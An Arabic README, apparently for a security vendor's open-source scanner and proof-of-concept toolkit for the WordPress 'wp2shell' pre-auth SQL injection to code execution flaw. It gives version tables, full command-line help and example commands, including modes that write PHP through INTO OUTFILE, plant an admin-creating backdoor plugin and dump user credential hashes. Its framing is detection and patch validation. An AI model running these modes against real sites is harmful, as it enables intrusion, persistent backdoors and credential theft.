
ماسح ضوئي ومجموعة أدوات لإثبات المفهوم لـ CVE-2026-63030 (wp2shell) - تنفيذ تعليمات برمجية عن بُعد قبل المصادقة في نواة WordPress

--check-type time-based (توقيت SLEEP) و --check-type error-based (تفاضل TRUE/FALSE/معطوب). كلاهما آمن لعمليات الفحص الواسعة النطاق.--i-have-authorization الصريحة.CVE-2026-63030 ("wp2shell") هي ثغرة تنفيذ تعليمات برمجية عن بُعد غير مصادق عليها في نواة ووردبريس. خلل في التباس المسار / عدم تزامن المؤشر في نقطة نهاية REST للدفعات (/batch/v1) يسمح لمهاجم غير مصادق بتهريب قيمة author_exclude غير معقّمة إلى WP_Query، مما يؤدي إلى حقن SQL. وعندما يمتلك مستخدم قاعدة البيانات صلاحية FILE، يؤدي ذلك إلى تنفيذ تعليمات برمجية عن بُعد عبر SELECT ... INTO OUTFILE. لا حاجة إلى أي إضافات. أي تثبيت ووردبريس قياسي متأثر.
أصدرت ووردبريس إصلاحات في 6.9.5 و 7.0.2 و 7.1-beta2. طبّق التصحيح فورًا. إذا كنت بحاجة إلى مساعدة في فحص أو اكتشاف هذه الثغرة على بنيتك التحتية، راسلنا على البريد الإلكتروني [email protected]. اقرأ المزيد حولها على مدونة fullhunt.io.
| الفرع | المعرّض | المُصلَح |
|---|---|---|
| 6.9 | 6.9.0–6.9.4 | 6.9.5 |
| 7.0 | 7.0.0–7.0.1 | 7.0.2 |
| 7.1 | 7.1-beta1 | 7.1-beta2 |
| < 6.9 | غير متأثر (نقطة نهاية الدفعات غير موجودة) | — |
لقد كنا نبحث في wp2shell (CVE-2026-63030) منذ الإفصاح العام عنها، وعملنا مع عملائنا على منع هذه الثغرة. نُتيح الآن أداة كشف وفحص مفتوحة المصدر لاكتشاف CVE-2026-63030 والتحقق منها. تُستخدم هذه الأداة من قِبل فرق الأمان لفحص بنيتهم التحتية بحثًا عن wp2shell، وللتحقق من أن قواعد WAF والتصحيحات تمنع فعليًا سلسلة الهجوم في بيئة المؤسسة.
wp2shell-scan.py هو ماسح ضوئي موحّد واحد يدعم ثمانية أوضاع:
| الوضع | الغرض | التفويض |
|---|---|---|
check | كشف غير مُتلِف. نوعان من الفحص: --check-type time-based (اختبار توقيت SLEEP) أو --check-type error-based (تفاضل TRUE/FALSE/معطوب). | لا |
probe-endpoints | اكتشاف نقاط نهاية REST التي تُمرّر الحقن إلى WP_Query. | لا |
probe | مقارنة جنبًا إلى جنب لعدد N من استجابات حمولات SQL. | لا |
extract | استخراج عبر الاستعلام المنطقي لبيانات تعريف قاعدة البيانات وقيم التجزئة. | نعم |
blind | استخراج أعمى قائم على التوقيت (خطة بديلة عندما يكون الاستعلام المنطقي غير موثوق). | نعم |
exploit | التحقق من سلسلة SQLi → INTO OUTFILE → تنفيذ PHP الكاملة. | نعم |
adduser | كتابة باب خلفي بصيغة mu-plugin ينشئ حساب مسؤول؛ مع التراجع إلى استخراج قيم التجزئة عبر الاستعلام المنطقي. | نعم |
get-users | تفريغ بيانات اعتماد جميع مستخدمي wp_users عبر الاستعلام المنطقي. | نعم |
ملاحظة: الأوضاع المُعلَّمة بـ"نعم" في عمود التفويض تتطلب علامة
--i-have-authorization.
$ python3 wp2shell-scan.py -h
usage: wp2shell-scan.py [-h] [-u URL] [-l USEDLIST] [-p PROXY]
[--check-type {time-based,error-based}] [-k]
[--timeout TIMEOUT] [--sleep SLEEP]
[--endpoint ENDPOINT] [--webroot PATH[,PATH...]]
[--out-name OUT_NAME] [--php-code PHP_CODE]
[--user-login USER_LOGIN] [--user-pass USER_PASS]
[--user-email USER_EMAIL] [--i-have-authorization]
[--sql LABEL:SQL] [--query QUERY] [--dump [KEY ...]]
[--all] [-v]
{check,probe-endpoints,probe,extract,blind,exploit,adduser,get-users}
CVE-2026-63030 (wp2shell) scanner: time-based / error-based checks, Boolean and blind extraction, authorized exploit validation.
positional arguments:
{check,probe-endpoints,probe,extract,blind,exploit,adduser,get-users}
Scan mode.
options:
-h, --help show this help message and exit
-u URL, --url URL Check a single URL.
-l USEDLIST, --list USEDLIST
Check a list of URLs.
-p PROXY, --proxy PROXY
Send requests through proxy.
--check-type {time-based,error-based}
Detection method for check mode - [Default: time-based].
-k, --insecure Disable TLS certificate verification.
--timeout TIMEOUT HTTP timeout (in seconds) - [Default: 15].
--sleep SLEEP SLEEP seconds for time-based checks and blind mode - [Default: 5].
--endpoint ENDPOINT REST endpoint used for the injection - [Default: /wp/v2/categories].
--webroot PATH[,PATH...]
Server webroot for OUTFILE writes; repeatable - [Default: /var/www/html].
--out-name OUT_NAME Dropped filename - [Default: random].
--php-code PHP_CODE PHP written as the OUTFILE row terminator - [Default: '<?php phpinfo(); ?>'].
--user-login USER_LOGIN
Backdoor username for adduser mode - [Default: wpadmin].
--user-pass USER_PASS
Backdoor password for adduser mode.
--user-email USER_EMAIL
Backdoor email for adduser mode.
--i-have-authorization
Required for exploit, adduser, get-users, extract, and blind modes.
--sql LABEL:SQL probe mode: repeatable label:sql payload pair.
--query QUERY extract/blind mode: custom SQL scalar query to extract.
--dump [KEY ...] extract mode: prebuilt query keys (comma or space separated); empty=user+db+version.
--all extract mode: dump all prebuilt queries.
-v, --verbose
$ python3 wp2shell-scan.py check -u https://wp.lab.local --check-type time-based
$ python3 wp2shell-scan.py check -u https://wp.lab.local --check-type error-based
$ python3 wp2shell-scan.py check -l urls.txt
$ python3 wp2shell-scan.py probe-endpoints -u https://wp.lab.local
$ python3 wp2shell-scan.py extract -u https://wp.lab.local --i-have-authorization --dump user,database,version
$ python3 wp2shell-scan.py exploit -u https://wp.lab.local --i-have-authorization
$ pip3 install -r requirements.txt
git clone https://github.com/fullhunt/wp2shell-scan.git
cd wp2shell-scan
sudo docker build -t wp2shell-scan .
sudo docker run -it --rm wp2shell-scan check -u https://wp.lab.local
بيئة WordPress 7.0.1 + MariaDB معرّضة للثغرة تصميميًا (مع منح صلاحية FILE) مضمّنة لإعادة إنتاج آمنة دون اتصال بالإنترنت:
$ cd testbed
$ docker compose up -d
# Complete the WordPress setup wizard at http://localhost:8080, then:
$ python3 wp2shell-scan.py check -u http://localhost:8080
FullHunt هي منصة إدارة أسطح الهجوم من الجيل التالي. تُمكّن FullHunt الشركات من اكتشاف جميع أسطح الهجوم لديها، ومراقبتها بحثًا عن أي تعرّض، وفحصها باستمرار بحثًا عن أحدث الثغرات الأمنية. كل ذلك، في منصة واحدة، والمزيد.
توفر FullHunt منصة مؤسسية للمؤسسات. تقدم منصة FullHunt Enterprise فحصًا موسّعًا وقدرات إضافية للعملاء. تتيح منصة FullHunt Enterprise للمؤسسات مراقبة سطح الهجوم الخارجي عن كثب، والحصول على تنبيهات مفصّلة حول كل تغيير يحدث. تستخدم مؤسسات حول العالم منصة FullHunt Enterprise لحل تحديات الأمان المستمر وحماية سطح الهجوم الخارجي.
أُنشئ هذا المشروع لأغراض تعليمية واختبارية أخلاقية فقط. استخدام wp2shell-scan لمهاجمة أهداف دون موافقة متبادلة مسبقة غير قانوني. تقع مسؤولية الامتثال لجميع القوانين المحلية والولائية والاتحادية المعمول بها على عاتق المستخدم النهائي. لا يتحمل المطورون أي مسؤولية ولا يكونون مسؤولين عن أي سوء استخدام أو ضرر ناتج عن هذا البرنامج.
المشروع مرخَّص بموجب رخصة MIT.
مازن أحمد